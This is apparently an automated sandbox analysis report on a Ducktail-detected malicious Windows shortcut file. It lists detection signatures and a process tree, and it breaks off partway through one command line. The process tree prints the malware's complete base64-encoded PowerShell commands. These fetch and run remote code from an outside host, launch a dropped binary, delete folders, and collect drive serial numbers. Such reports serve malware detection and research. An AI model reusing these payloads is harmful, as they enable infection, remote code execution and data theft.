Edit tour

Windows Analysis Report
3y37oMIUy6.lnk

Overview

General Information

Sample name:	3y37oMIUy6.lnk
Analysis ID:	1573012
MD5:	23705713c7d9c13f957b704412f8a4e3
SHA1:	bdcafa33e114a18d5831b15251cf5e7e140ceaf3
SHA256:	10ad35266f238550590d93c6c63b149d4c51fadd302d37c13eef5481a186383c
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 4696 cmdline: "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 5080 cmdline: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 8080 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 4784 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF0C.tmp" "c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7852 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 3048 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

cmd.exe (PID: 6620 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 5508 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8668 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 8836 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svczHost.exe (PID: 9168 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 9176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1888 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 1832 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 8036 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 8260 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAb